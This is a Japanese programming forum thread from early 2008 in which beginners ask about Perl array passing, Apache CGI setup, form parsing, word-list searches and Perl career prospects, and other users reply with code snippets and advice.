2008/01/04(金) 22:39:39ID:zn9OWNdoPHPに出来てPerlに出来ない事は無い。
たとえばPHPならDBとの連係が良いとか。
でも、web専門だったり。
javaは規模や対象から違う。
要は目指す所の違いだと思う。
Perlが汚いと思うならRubyやPythonをやれば良い
0657nobodyさん
2008/01/05(土) 01:11:38ID:???0658654
2008/01/05(土) 02:15:25ID:???>>657
ご回答ありがとうございます。
目指すところの違いがあるんですね。
アンチは具体例を出さずにすぐに一般化して
否定しますしね。
安心しました。ありがとうございます。
0659649
2008/01/05(土) 14:25:20ID:???レスありがとうございます。プロトタイプ使えばよさそうですね。
こちらでいくらかプログラムを書いてみたのですが、配列は
必ずあとじゃないとダメみたいですね。
FuncA($@) これだと動くのですが、 FuncA(@$) これだとダメでした。
0660nobodyさん
2008/01/05(土) 18:18:51ID:???ナビゲーションバーが<li>タグで
フォームがテーブルタグで囲む形で
出力されるテンプレートエンジン。
これは今風ではないでしょうか?
出力されたHtmlを読むと可読性が良さそうなので
これで行こうと思っています。用途はテンプレート
エンジンの勉強がてら簡易wikiでも自作してみよう
と思ってます。どうぞよろしくお願い致しますm(__)m
0661nobodyさん
2008/01/06(日) 01:12:32ID:4ZDHflzTcygwinからActivePerlを使っているのですが、
$ perltidy
としてもcommand not found になります。
どうしたわけでしょう。
cygwin用のperltidyもあるときき、Cygwinからもcpan Perl::Tidyで入れてみましたが、
依然として
$ perltidy
command not found
です。アドバイスください。ヒントでもいいのでお願いします。
0662nobodyさん
2008/01/06(日) 05:36:20ID:???通ってないだけだったと思うけど。
0664nobodyさん
2008/01/06(日) 13:57:41ID:4ZDHflzTうまくいきました。ありがとうございます。
0665nobodyさん
2008/01/06(日) 15:48:56ID:srAiPMxF呼び出し側
p_html_kotaivew_kekkawrite
($name, @status, $ks, @han1, @han2, @sta1, @sta2);
関数側
sub p_html_kotaivew_kekkawrite{
local($name, @status, $ks, @han1, @han2, @sta1, @sta2) = @_;
〜〜以下略
このような感じにやると、渡した$name以降の配列がすべて@statusに格納されてしまいます。
アドバイスお願いします
0666nobodyさん
2008/01/06(日) 16:21:21ID:???0667nobodyさん
2008/01/06(日) 16:47:29ID:XbpFSz7Rリファレンス渡しをしてみましたが、やはり@statusに以降の配列がすべて格納されてしまいます。
0668nobodyさん
2008/01/06(日) 17:03:52ID:???p_html_kotaivew_kekkawrite
($name, \@status, $ks, \@han1, \@han2, \@sta1, \@sta2);
sub p_html_kotaivew_kekkawrite{
local $name = @_[0];
local @status = @{$_[1]};
local $ks = @_[2];
local @han1 = @{$_[3]};
local @han2 = @{$_[4]};
}
local @sta1 = @{$_[5]};
local @sta2 = @{$_[6]};
}
0671nobodyさん
2008/01/06(日) 19:10:38ID:???他の言語を先にやったものだと違和感を感じるものだが、perlの場合は、
関数は、スカラを先に書いて、配列を後に書いた方がいいというルールが
あるようだ。
0672nobodyさん
2008/01/06(日) 19:20:03ID:???0673nobodyさん
2008/01/06(日) 19:21:39ID:???Perlで検索結果一覧を出すまでや、ファイルへ書き込みをした場合に
要した時間を計り、表示させたいのですが、どのような関数を
使用したらよろしいのでしょうか。
0674nobodyさん
2008/01/06(日) 19:50:13ID:???my $t = time;
〜 #計測したい処理
my $t2 = time;
my $sec = $2 - $1;
print "$sec秒だったです";
0675nobodyさん
2008/01/06(日) 19:51:41ID:???× my $sec = $2 -$1;
○ my $sec = $t2 - $t1;
0677nobodyさん
2008/01/06(日) 20:17:39ID:???含まれているかをチェックするcgiサイトがありますが、
あれはどういう原理で動いているのでしょうか。
自分のサーバとは別の、他のサイトのhtmlファイルを読み込むという事は、
perlのopenでは出来ませんよね?
0678nobodyさん
2008/01/06(日) 20:38:06ID:???0679nobodyさん
2008/01/06(日) 22:14:19ID:???こちらで質問させていただきます。
配列の1つの要素への処理の記述方法についてです。
以下のコードを記述しておいて、それに続くものです。
@a = ( "a1", "a2" , "a3" );
記述1:$a[1] = "b2";
記述2:@a[1] = "b2";
どちらの記述でも、思うように動作しているので、問題なさそうなのですが、
処理速度や、内部的な動きなどからいってこっちの記述が良いというものや、
多くの人のコーディングはこちらが多いから、などというものはあるの
でしょうか。
0680nobodyさん
2008/01/06(日) 22:15:19ID:???0681nobodyさん
2008/01/06(日) 22:30:21ID:???ブラウザで開こうとするとエディタが開いてしまいます。
どうすればいいですか?
0683nobodyさん
2008/01/06(日) 23:12:15ID:???必要な環境整えてる?
Windowsならば、ActivePerlとApacheをいれて設定するとか、
設定したフォルダにcgiファイルをおいてるかとか。
0684nobodyさん
2008/01/06(日) 23:28:59ID:???ApacheもActivePerlも入ってます。
ブラウザで開こうとするとエディタに実行結果が返ってきてるので
フォルダ等も大丈夫だと思います。
0685nobodyさん
2008/01/06(日) 23:31:53ID:???0686nobodyさん
2008/01/06(日) 23:37:38ID:???#! c:/perl/bin/perl
print "Content-type: text/plain\n\n";
print "Hello Perl !";
を1-1cgiとしてhtdocs/rensyuに保存してブラウザでhttp://127.0.0.1/rensyu/1-1.cgiを使って実行すると
ファイルをダウンロードしてエディタが開いて実行結果が返ってきてるんですよね
0687nobodyさん
2008/01/06(日) 23:39:11ID:???0688nobodyさん
2008/01/06(日) 23:43:00ID:???httpd.conf の設定は確認してる?
参考にとほほのサイト紹介しておきます。
ttp://www.tohoho-web.com/wwwxx048.htm
0689nobodyさん
2008/01/06(日) 23:49:36ID:???0690nobodyさん
2008/01/07(月) 00:02:41ID:???参考にしてる本がhtdocsだったんですよね
>>688
設定確認しましたが、大丈夫だと思います。
ちょっと試してみたんですが、
#! c:/perl/bin/perl
# CGIヘッダーの出力
print "Content-type: text/html\n\n";
# HTMLの出力
print "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\">\n";
print "<html>\n\n";
print "<head><title>Hello HTML</title></head>\n";
print "<body><p>こんにちは。これはHTML文書の例です。</p></body>\n";
print "</html>";
だとブラウザに出力されました
もうわけが分かりません
>>689
ソースはテキストどおりなんですよね
0691nobodyさん
2008/01/07(月) 00:23:35ID:???ブラウザの設定でtext/plainはエディタで開くようになってるんでしょ
0692nobodyさん
2008/01/07(月) 00:41:55ID:???explorerの関連付けはずしたら正常になった
0693nobodyさん
2008/01/07(月) 00:56:15ID:???ブラウザの設定なんですかね?
ブラウザに関連付けしてみたらブラクラみたいになったんですが、
どういう設定をいじればいいんですか?
>>692
.cgiへの関連付けを削除してみたら
ブラウザから開こうとしたら
このファイルを保存しますか、または開くためのプログラムをオンラインで検索しますか?と
でてきました。
よければ現状、何に関連付けされてるか教えてもらえないですか?
0694nobodyさん
2008/01/07(月) 01:06:33ID:???どうしてもhtdocs内で実行させたいなら
<Directory ******/htdocs>
Options ExecCGI
</Directory>
みたいにExecCGI追加して
AddHandler cgi-script .cgi
みたいに設定ファイル(httpd.conf)を書き換えて再起動して味噌
0695nobodyさん
2008/01/07(月) 01:14:15ID:???まったく関連付けなし。
ってか>>688のサイトにあった、>>694の設定をしたら
関連付けしても普通に動くようになったぞ
0696nobodyさん
2008/01/07(月) 01:17:32ID:???関連付けはいじらずにtext/htmlで書き出せばどうだい
あと関連付けするのはcgiじゃなくてtxtだと思う
0697nobodyさん
2008/01/07(月) 01:39:40ID:???Options +ExecCGI
AddHandler cgi-script .cgi
</Directory>
を付け加えてもダメでした・・・
エディタは開かなくなったんですが、一瞬プロンプトの画面が見えたと思ったら消えて、
ブラウザにはWeb ページへのナビゲーションは取り消されましたってでてしまいます
>>696
htmlで書き出すとブラウザにでるんですけど、テキストがplaneで出力できてるんで自分の設定がなにかおかしいところがあると思うんですよ
だからそれを解決しとかないと・・・と思うんですよ。
0698nobodyさん
2008/01/07(月) 09:36:39ID:???もう一度よ〜〜〜く見るんだ。
”Content-type: text/plane” じゃあ、
そりゃ「そんな mimetype わしゃ知りません」ってIEがおっしゃるよ。
0699nobodyさん
2008/01/07(月) 09:53:12ID:???たぶんapacheの設定で失敗してるはず。
0700nobodyさん
2008/01/08(火) 17:54:44ID:???レンタルサーバでCGIでプログラムを動かしているのですが、
処理を行う際のサーバの負荷が気になるので、>>674-675に
書いてある方法を使用し、常に処理にかかった時間を
表示するようにしています。
ある関数を動かした際、普段の処理時間は1〜2秒なのですが、
ネットが異常に遅い時に同じ処理をした時、10秒ほどかかりました。
この処理にはhtml出力が入っているのですが、CGIのhtml出力は、
CGIで処理した結果すべてをまとめてクライアントPCのブラウザへ
流しているものだと思っていましたが、仕組み的にはそうではない
ということなのでしょうか。
それとも、私の使用している計測方法が誤っているのでしょうか。
何かこういうのを調べてみろ、みたいなヒントでも良いので
よろしくお願いします。
0701nobodyさん
2008/01/08(火) 19:20:06ID:b1r9jep2perldocしましたが見つかりませんでした。
0705701
2008/01/09(水) 06:38:37ID:g0MHwkoX0707nobodyさん
2008/01/09(水) 23:13:03ID:???するかたちでプログラムを組んでいます。
この複数のファイルは、丁度テーブルに見立てた設計に
しており、主キーで連携を取っています。
しかし、データがテキストファイルであるため、データの
取り扱いに不便を感じる場合もあります。
ソートをする際、すべてのデータを変数に読み込んだり
出来ない場合は、ソートをしながら別のファイルに
書き込むといった感じです。
こういう、データを記録するのに丁度良いモジュールという
ものはないのでしょうか??
ま、データベースを使えばという話になるのでしょうが、
レンタルサーバなどの環境でそこまで準備が出来ない場合の話です。
0709nobodyさん
2008/01/10(木) 02:06:12ID:???if($ENV{'REQUEST_METHOD'} eq 'POST') {
read(STDIN, $query, $ENV{'CONTENT_LENGTH'});
}
else {
$query = $ENV{'QUERY_STRING'};
}
ここまではエラーなく処理できてるんですが
# フォームデータの復元
foreach $pair (split(/&/, $query)) {
($key, $value) = split(/=/, $pair);
コレを入れるとエラーがでてしまうんですが、どこが悪いんですかね?
0710nobodyさん
2008/01/10(木) 02:09:13ID:YdP4IGcZ0711nobodyさん
2008/01/10(木) 19:24:04ID:Ea25ozf2index.cgi?----
みたいな感じのです。
0713nobodyさん
2008/01/10(木) 19:46:08ID:???つ[ ttp://www.futomi.com/lecture/form/cgi-pm.html#s3 ]
0714nobodyさん
2008/01/10(木) 21:21:19ID:YdP4IGcZ5.8.8からcpanコマンドで入らないです
0716nobodyさん
2008/01/11(金) 18:21:27ID:PVnoyiBC最近パールの良さがわかってきました
さてWindows上のGUIアプリケーションを作るのには向いてますか?
モジュールはちらほら見かけましたし実際作ってみましたが、やり方が悪いのかうまくいきません
どうも腑に落ちません
実際作ってみてどうですか?
0717nobodyさん
2008/01/11(金) 21:00:50ID:???Win32はシラネ
0718nobodyさん
2008/01/11(金) 22:16:12ID:???WindowsのGUIアプリならば、VBなどがあるのにあえてPerlを
選ぶ理由は何?
企業が使う業務システムではVBが圧倒的に多い理由を考えると、
と思うけれど。
0720nobodyさん
2008/01/12(土) 03:49:51ID:???0721nobodyさん
2008/01/12(土) 14:37:13ID:???0722nobodyさん
2008/01/12(土) 16:29:39ID:???0723nobodyさん
2008/01/12(土) 17:15:04ID:???ここでソースコードの圧縮やってるよ
0724nobodyさん
2008/01/12(土) 20:57:02ID:???0725nobodyさん
2008/01/13(日) 01:39:09ID:EtYE9LoZどうしたらいいですか?
0726nobodyさん
2008/01/13(日) 08:37:57ID:???Linuxはしらね
0727nobodyさん
2008/01/13(日) 12:51:10ID:???当方パール入門したでして…覚えたばかりの知識が海のもずくになると思うと…
しかし実際のところあと3年はPerl5の知識が使えるんですかね?
そのPerl6とやらがいつ出るかも知らないので(公式サイトを検索しまくっても見つからなかった
私はバカですか?)何とも言えない状況です
あと移行はいきなりなんでしょうか、5.12を過ぎて6になった途端に様変わりしちゃったらすごく困ります^-^;
0728nobodyさん
2008/01/13(日) 13:46:17ID:???0729nobodyさん
2008/01/13(日) 14:45:25ID:???0730nobodyさん
2008/01/13(日) 16:08:40ID:???0731nobodyさん
2008/01/13(日) 17:03:12ID:???ま、こういうのはどの言語でもふつうにあることなんじゃないかな。
そういうのについてこれないのは、技術者として終わりみたいな。
今でも N88BASIC とか COBOL とかで組んでる人っていないだろ?
> しかし実際のところあと3年はPerl5の知識が使えるんですかね?
> あと移行はいきなりなんでしょうか
これは、ケースバイケースなのではっきりとはいえない。
例えば、過去の資産を活かしたシステムを構築する場合は、Perl5で
構築するだろうし。
あと、安定性も考えて、いきなり新しくはしないケースもある。
システムは、早く作れることも大事だけど、安定して動くことが
大事なのだから。
個人的に思うのだけど、大幅な仕様変更をするのに、いつまでも
前の名前を使い続けるから紛らわしくなるんじゃないかなと思う。
Perl は 5 で完成形であり、それで終わり。役割は果たした。
そして、新しい言語が出る。とした方が分かりやすいと思うのだが。
0732nobodyさん
2008/01/13(日) 17:13:18ID:???固執している言語があるが、あれよりマシだと思う。
大幅に仕様変更していて、ユーザがついてこなかったから、
やっぱり戻したとか。
仕様変更をしすぎて、別の言語と非常に似ていて
その存在自体が意味無いものに見えるとか。
0733nobodyさん
2008/01/13(日) 20:48:32ID:???PHPのことか。
zendはphp4のサポートを終わらせて無理やり5に移行させたがっているが、4の開発メンバーは今は6を作ってるらしいからそれ待ちだ。
0734nobodyさん
2008/01/14(月) 03:03:11ID:???0735nobodyさん
2008/01/14(月) 03:20:58ID:h4dQ9PIo海外サイトではPHPなんて全く持ち上げられてない
んで、何がいいたかったかというとPerl最高
0736nobodyさん
2008/01/14(月) 09:05:00ID:???0737nobodyさん
2008/01/14(月) 09:50:52ID:???海外サイトではウォシュレットなんて全く持ち上げられてない
んで、何がいいたかったかというと温熱最高
0738nobodyさん
2008/01/14(月) 12:36:17ID:???Rubyのほうが良かったですか?って聞いたら余計に怒られた。
なんで?
0739nobodyさん
2008/01/14(月) 13:25:17ID:???0740nobodyさん
2008/01/14(月) 14:50:02ID:???その内容をhtml出力するところまでやっと出来たくらいの知識の者です。
そこで、普段のバックアップはどういう仕組みでやるとよいのか
迷いましたので、こちらで質問してみました。
私としては、Perlで、データベースのテーブルとテキストファイルと
をコンバートするプログラムを自作し、定期的に手動(FTPソフトを
使うなどして)でローカルにファイルを保存しておく方法くらいしか
思いつきませんでした。しかし、それだと普段の作業に非常に
手間がかかってしまいます。
一般的に、レンタルサーバでPerl+PostgeSQLのWebシステムの
バックアップは、このような方法を取ることが多い、みたいなものは
あるのでしょうか。よろしくお願いします。
0741nobodyさん
2008/01/14(月) 18:56:43ID:???0743nobodyさん
2008/01/16(水) 10:57:33ID:Z4nycbhzが、セキュリティーが不安です。
レンサバでやるにせよ、セキュリティーに穴があって攻撃されると
いろんなトラブルがあるんでしょ?
当方、素人の趣味でやってるプログラミング歴まだ1年のプログラマーなもので
そのあたりを実際に企業で開発した経験が当然なく不安です。
セキュリティーやネットワークに関する勉強をやるのに手始めとしてオススメのメソッドありますか?
あまりパールと関係なくてごめんなさい。
パールの本でセキュリティーやネットワーク関係のものって無いですよね。
LWP本はありましたが、
もっと広範にネットワーク関係のスキルを強化したいです。パケット解析とか。
まあ、それはそうと他のWeb系を始めようとするパーラーはそういうセキュリティーやネットワーク関係の不安ないんでしょうか?
皆さん気軽に始めていらっしゃる方が多くよほど知識がおありなのだなあと斜にかまえて静観しています。
0744nobodyさん
2008/01/16(水) 17:37:17ID:???0745nobodyさん
2008/01/16(水) 17:58:11ID:???Perlからはなれて、パケットフィルタリングとか、TCP/IPの
詳細について調べていった方がいいと思う。
セキュリティも個人情報を扱っているとか外に洩れるとやばいものは
物理的なレベルで外部に公開せずに社内LANでのみとかにするわけで、
そういうものはPerlの設定やコーディングでなんとかするものではない。
0746nobodyさん
2008/01/16(水) 18:07:35ID:???最近は、ASP(アプリケーションサービスプロバイダ)とかあるので、
それを利用した方がいいと思う。プログラムを組むのは辞めて。
それだと、必要な機能だけを月に数千円〜数万円で必要な期間だけ
利用できる。
0747nobodyさん
2008/01/16(水) 20:49:06ID:???0749nobodyさん
2008/01/18(金) 20:13:52ID:???不正な入力を防ぐ為に、いろいろなことを考えているのですが、
一人で考えていると、漏れがありそうな気がして怖くなりました。
何か、こう言うことを考えてコーディングしたほうがいいという
ガイドラインのようなものはあるのでしょうか。
例えば、以下のような感じです。
1.変なアドレスからcgiを実行しようとしていたらはじく
2.textareaタグの記述は○文字まで
3.同一IPアドレスからの連投を防ぐ
0750nobodyさん
2008/01/18(金) 22:45:45ID:???特殊サブルーチンENDはそれぞれが終了した場合に常に行われる。
これを防ぐ手立てはないでですか?
0752nobodyさん
2008/01/19(土) 16:56:00ID:FZ1FRzKn投票形式のサイトを以前見かけたのですが、思い出せません。
どなたかご存じないでしょうか?
0753752
2008/01/19(土) 17:21:59ID:???http://mfpm.blogdb.jp/
お騒がせしました
0754nobodyさん
2008/01/23(水) 16:33:04ID:LaH3xf3C0755helpです
2008/01/23(水) 17:26:00ID:AM6Aqa52繰り返し単語リストにある用語を文書から検索したいのですが、
上手く動きません。Helpお願いします。
$word がwhile (<F>) 以下の$wordに上手く渡せません。
open(F4, $dic_file) || die "$dic_fileをオープンできません:$!\n";
while (<F4>){
@words = split(/\n/, $_);
foreach $word (@words){
while (<F>) {
print "$_";
#「$word」という単語のみにマッチさせる
0756nobodyさん
2008/01/23(水) 18:55:07ID:???@words = split(/\n/, $_);
wwwwwwwwwwwwwwwwwwwwwwwwwwww
0757nobodyさん
2008/01/23(水) 19:27:30ID:???0758755
2008/01/23(水) 22:55:33ID:???1.用語ファイル (単語が1行に一つずつ入ってる用語。500個位)
2.文書ファイル (文書ファイル。単純なテキスト)
3.2の文書ファイルを、1の用語ファイルの単語を一つずつ
whileを使って検索します。
早めに必要なのでどなたか教えてください。>756さん笑ってないで。
0759nobodyさん
2008/01/24(木) 00:24:58ID:???Perlでは(というか…)改行文字でレコードが分割されているので
@words = split(/\n/, $_); # <-はありえない
そもそも、こんなループを組むこと自体どうかとも思うが
my @words = [];
while (my $word = <F4>) {
push @words, $word; # $_でもいいけど
}
ファイルをループ先頭でseekするのもありかな、あとはお好きにドゾー。
0760nobodyさん
2008/01/24(木) 07:38:32ID:???>>759に書いてあるように改行文字で分割される、
事前に>>757を書いておくと、以降$/に代入された文字で分割されるようになる。
ここでは空文字列なので分割しなくなる。
my $txt
{
local $/;
open(F,$txt_file) or die "$txt_fileをオープンできません。";
$txt = <F>;
}
open(F4,$dic_file) || die "$dic_fileをオープンできません。";
foreach $word (<F4>) {
$word =~ s/\n$/s;
$txt =~ s/\Q$word\E//sg #例: マッチ部分削除
}
|´д`)ノ笑ってすまんね
0761755
2008/01/24(木) 09:47:56ID:TN487IBF0762nobodyさん
2008/01/24(木) 10:15:27ID:???ファイル2の行数までほしいとか、ファイル1のwordのリストだけでいいとか、
件数までいるとか。
0763nobodyさん
2008/01/24(木) 23:47:07ID:???マクロの言語(VB?)分からないので・・・。
0764nobodyさん
2008/01/25(金) 03:03:45ID:???0765nobodyさん
2008/01/25(金) 08:09:41ID:???Perlそのものがその程度の知識であれば、VBAを勉強した方が早いと思う。
一つバージョンが違っただけで途中で動かなくなるとかしょっちゅうだし。
0766nobodyさん
2008/01/25(金) 15:27:50ID:???0767nobodyさん
2008/01/25(金) 18:34:06ID:???プログラムそのものをあきらめた方がいいと思ったりw
0768nobodyさん
2008/01/26(土) 00:07:47ID:???0769nobodyさん
2008/01/26(土) 18:10:44ID:???ログに保存する場合、すべて独自でプログラミングするしかないのでしょうか。
自分で作りはしたのですが、こういう状況は頻繁にあるので、
モジュールがあるのでは、と思ったりしたのですが。
0770nobodyさん
2008/01/26(土) 18:32:06ID:???http://search.cpan.org/dist/CGI.pm/CGI.pm#DUMPING_OUT_ALL_THE_NAME/VALUE_PAIRS
0772nobodyさん
2008/01/27(日) 12:37:53ID:TNan8zlFperlの英語サイトでお勧めありますか?
0773nobodyさん
2008/01/27(日) 13:13:35ID:???0774nobodyさん
2008/01/27(日) 13:32:38ID:???一方で某社の言語のは情報量は少なく、高い公式文書とかを
買うしかなかったりするし、簡潔すぎて分かりにくい説明を
一生懸命読む羽目にもなる。
0775nobodyさん
2008/01/27(日) 19:07:45ID:TNan8zlF良いサイトを教えて欲しいのではなくて良いサイトが日本ではないと思うので
海外のお勧めサイトを教えて欲しいんです。
切実な要求ではなくて、ハックな皆さんが常日頃どんな英語サイトを見ているかを気軽に尋ねたつもりなんですが。
0776nobodyさん
2008/01/27(日) 19:26:24ID:TNan8zlF分かる気がします。
定番ですがperl mongerは良く見ますが、かなり突っ込んだトピックでも有益な情報がたくさん引っかかることがあったりしますね。
例えば、insideout objectはこのサイトで勉強しました。
あとGoogleの最近更新されたページ検索とはてブとCPANサーチを使えば目的のページが見つかることが多いですね。
皆さんはどうやってperl情報を検索してますか?
お勧めあったら教えてください。
で、上で質問したのは、RSSで読みたくなったりブラウザーのお気に入りに入れておきたくなるような良いサイトが
なかなか日本のperl関係では少ないかなということです。
まあそのあたり実際どう思います?
個人の主観なので、まあそのあたりは適当にスルーしてくださっても結構です。
0777nobodyさん
2008/01/28(月) 00:30:45ID:???http://perlbuzz.com/2007/08/top-10-perl-blogs.html
http://search.cpan.org/author/
use.perl
とか色々。
0778nobodyさん
2008/01/28(月) 00:32:33ID:???http://search.cpan.org/recent
こっち。
0779nobodyさん
2008/01/28(月) 00:36:50ID:???http://www.perlcast.com/
http://perlmonks.org/
http://perlperl.com/
http://cpancode.org/
http://cpants.perl.org/index.html
0780nobodyさん
2008/01/28(月) 20:41:09ID:iAknG7Tjありがとうございます。
知らないサイトがあって参考になりました!!!!
早速livedoorリーダーにRSSフィードぶち込みますねw
サーチCPANのRecentというのは着目してませんでしたが良さげですね―
やはり最近のものをチェックしないと古くなってることが多いからですか
こうやって見てみると海外では良いperlサイトがどっさりありますね。
0781755
2008/01/30(水) 18:16:21ID:???これだと1ワード検索して終わりです。できれば以前教えていただいた
while (my $word = <F4>) {
push @words, $word; # $_でもいいけど
}
で、foreach $word(@words){
}の中でリストの単語を全て動かしたいのですが、どうも上手くいきません。exit(0)のせい?
どこからどこまでをforeach $word(@words){}のカッコでくくればいいのでしょうか?
または、別の解決方法でもいいので、教えてください。
よろしゅう。
0782nobodyさん
2008/01/30(水) 22:34:27ID:???0783755
2008/01/30(水) 23:13:31ID:???覚えるの1週間、教えてもらえば5分。
これでもいろいろ他にやることあるのよ。
意地悪しないで教えてちょ。
0784nobodyさん
2008/01/30(水) 23:26:43ID:???何か例があればいいのだが。
0785755
2008/01/30(水) 23:27:11ID:???0786755
2008/01/30(水) 23:29:57ID:???騙るな。俺はそんな乱暴な人ではない。
0787nobodyさん
2008/01/30(水) 23:33:38ID:???欲しい結果のサンプル、そして、今のプログラムで出力される
結果のファイルとか、具体的に示してくれないと何処に問題が
あるのかが分からんのよ。
そういうところはソースコードを全部読んでも見えてこないでしょ?
ま、サンプルが出たとしても対応は明日以降になるけれど。
0788755
2008/01/30(水) 23:41:30ID:???787さんは782さんですよね?
そのmapやgrep、多次元配列とやらで781の回答をきぼん。
0789nobodyさん
2008/01/31(木) 07:18:48ID:???0790nobodyさん
2008/01/31(木) 08:20:23ID:???ファイルと検索文字を読み込んだ後の
chop ($open_file, $save_file, $word);
って何をやろうとしているの?
0791755
2008/01/31(木) 09:14:13ID:???それはSTDINの改行を取るためですね。
>789
入力する文章は日本語と英語が混じったものです。
検索する単語も適当にでっちあげて下さいよ。
0792755
2008/01/31(木) 09:26:00ID:???いつの間にか先頭にARRAY(0x35e08)というのが入り込みます。
これは何ですか?
0793nobodyさん
2008/01/31(木) 09:42:51ID:???実行してみたら、以下のように3つ表示されたぞ。
(具体的な文字列は省略している)
line:3
line:7
line:8
0794nobodyさん
2008/01/31(木) 09:44:56ID:???探索する文字列を指定してください:2ch, AA, モナ
見たいな感じに
0796755
2008/01/31(木) 09:58:21ID:???その通りです。
>795
Aから並べた単なる単語の羅列です。どんな文字列でもARRAY(0x35e08)
がマッチした文字列の一番最初に入ってしまう。
ARRAY(0x35e08) ←これは何?
(以下例)
acceptance
accompanying sheet
account
0797nobodyさん
2008/01/31(木) 10:46:42ID:???CGI::Liteを使ったファイルアップロードで、漢字を含むファイル名を扱ってます。
特定の条件でファイル名がアップ時と変わってしまうのです。
条件は分かったんですが、どうすればファイル名を正常に扱えるかわかりません。
Perlのバージョン:5.8.2
クライアント:WindowsXP
発生条件:表、ソ、十などをファイル名に含む
現象:表などの文字より前が消えてしまう
例)画面表示内容.jpg が、 示内容.jpg に変わる。
ヒントください。
0798nobodyさん
2008/01/31(木) 11:02:46ID:???jcode.plで変換するしかないかと。
あと、これ
ttp://digit.que.ne.jp/work/wiki.cgi?Perl%E3%83%A2%E3%82%B8%E3%83%A5%E3%83%BC%E3%83%AB%2FCGI%3A%3ALite#i5
0799nobodyさん
2008/01/31(木) 14:37:56ID:???このファイルと同じディレクトリに[in.txt]という名前で文書ファイルがあるものとする。
<html><body>
<form method="POST" action="test.php"><input type="text" name="key" size=30>
<input type="submit" value="送信"></form>
<hr>
<?php
if($_POST["key"] == ""){
echo "</body></html>";
exit;
};
$key = $HTTP_POST_VARS["key"];
echo "検索キー:$key<br>";
// 検索キーを空白スペースで分割する。
$key2 = split(" ", $key);
// 要素数を出す。
$key2_cnt = count($key2);
$INFILE = fopen("in.txt","r");
$line_num = 1;
$cnt = 0;
0800nobodyさん
2008/01/31(木) 14:39:01ID:???while($cnt < $key2_cnt){
echo "検索キー:$key2[$cnt]<br>";
while(!feof($INFILE)){
$line = fgets($INFILE, 1024);
$search_flg = strpos( $line , $key2[$cnt] );
if( $search_flg !== false ){
$out_line = "line " . $line_num . " : " . $line . "<br>";
echo $out_line;
}else{
// echo "この行にはありません。: $line<br>";
}
$line_num = $line_num + 1;
}
rewind( $INFILE );
$cnt=$cnt+1;
}
fclose($INFILE);
?>
</body></html>
0801nobodyさん
2008/01/31(木) 15:20:34ID:???出力結果を具体的にどうしたいのかは分からないよな。
(例1)検索キー:モナー AA
[モナー]
line 3 :
line 5 :
[AA]
line 2 :
line 3 :
(例2)検索キー:モナー AA
[モナー]と[AA]を含む。
line 3 :
0802nobodyさん
2008/01/31(木) 19:00:55ID:???(例1)でお願いします。
0803nobodyさん
2008/01/31(木) 19:06:46ID:???だったら、>>799-800のソースを動かしてみればいいぞ。
[test.php]のファイル名で保存して実行すればおk
0804nobodyさん
2008/01/31(木) 19:09:54ID:???そのキーワードの数だけプログラムを実行すればいい話なのに。
例2ならば分かるが。
0805nobodyさん
2008/01/31(木) 20:14:39ID:???0806nobodyさん
2008/01/31(木) 22:10:29ID:???質問者はロジックを聞きたかったわけから、これで解決じゃね?
0807755
2008/02/01(金) 00:06:19ID:???俺のサーバーPHP動きません。
>804
1000回プログラム動かせんから、ループで自動でやりたいと言ってるっしょ。
質問をもっと具体的にすれば良かったかしら。
「781のサンプルプログラムをループで動かす方法を教えて」
です。
0810nobodyさん
2008/02/01(金) 01:07:14ID:???事は言わないんだよな。
実際に出来上がってみて、あーだこーだいうんだろうな。
そんな態度だから最初に質問した時からおちょくられてるんだと思う。
0811perl好き情報4回生
2008/02/01(金) 13:26:52ID:???今年に入ってからいろいろと求人情報を集めてみたところperlの仕事少ないですね
噂には聞いてましたが、僕は何が何でもperlを仕事にしたいのです
まあそれはおいといて、perlを仕事としてみたときどんな感じですかね?
皆さま先輩方の多くはperlを仕事としていらっしゃると思ったので、
是非とも業務内容、他言語と比べたときの待遇、仕事のやりがいなどなど、
ポジティブな意見(勧め)もネガティブな意見(愚痴)も生の声としてお聞かせ願えればと存じます。
0812perl好き情報3回生
2008/02/01(金) 13:31:25ID:???0813nobodyさん
2008/02/01(金) 13:45:35ID:???確か、mixiとか、はてなは、perlじゃなかったかな。
で、お前は一体何年なんだ?w
修士を出てからということは、あと2年後に就職活動を
やり始めるということかな?
合計あと3年数ヶ月は親のすねをかじって学生をやると。
0814nobodyさん
2008/02/01(金) 13:49:55ID:???どうだ。例えば>>755に対する答えのソースを作るとか。
0815nobodyさん
2008/02/01(金) 15:10:24ID:???Perlしかまともに出来ない人に就職口はないかと
というか回りから軽蔑される
0817nobodyさん
2008/02/01(金) 16:03:32ID:???自分が上に立ってやろうという考えを持つようになったりして、
会社員としてやっていくよりも、起業して社長としてやる場合が多い。
なので、君の場合は「良い所に就職する」ということよりも、
投資家を説得するプレゼンをするとか、誰もが納得できるような
システムを作る方向でやっていったほうがいいと思う。
Perlは、アクセスカウンタ、掲示板、チャット、ブログ、
ショッピングモールと発展してきたけれど、この次にあたるもの
を作るのを考えると良いだろう。
修士までいくのであれば、そのまま博士まで行って、松本氏のように
純粋に言語をやる道もある。
0818nobodyさん
2008/02/01(金) 19:19:56ID:???0819perl好き情報3回生
2008/02/01(金) 23:20:23ID:???ありがとうございます。
>>813 3を押し間違えただけです。3回生に相違ありません。w
> 合計あと3年数ヶ月は親のすねをかじって学生をやると。
そうなんです。そうした生ぬるい環境でありますが、全身全霊で取り組む覚悟です。
>>814
>人に情報をくれといってないで、まずは君の作った実績を出してみたら
魅力的な人材であることを立証できないです。僕はまだまだです。
>>815
>Perlしかまともに出来ない人に就職口はないかと
そう言われるとつらいものがありますが、C++を今からしっかりやって実力をつければ
重宝されるのではないかと考えています。
>>817
>投資家を説得するプレゼンをするとか、誰もが納得できるようなシステムを作る方向で
では後者でやります。Web上のプラットフォームの開発が出来たらいいなあとは思っています。WebOSとか。
0820nobodyさん
2008/02/02(土) 00:24:29ID:???0821nobodyさん
2008/02/02(土) 01:14:38ID:???Perlも道具に過ぎない。
就職から定年まで約40年間ずっと同じプログラム言語を使い続ける事はまず不可能。
管理職になってプログラミングから足を洗えるのはごく一部。
学生の時点で言語にこだわるより、考え方・分析方法・設計方法を学ぶ道具だと割り切った方が良い。
そう言ってる漏れも、学校じゃPascalやらCやってて、就職してからはC、C++、VBやって、
独立してからは最初はDelphi使ってたが今はVBAとPerlとJavaScriptとSQLをやってる。
今後JavaやPHPもやることになると思う。
0822nobodyさん
2008/02/02(土) 05:18:25ID:???新しく言語を作っていくという意味さ。
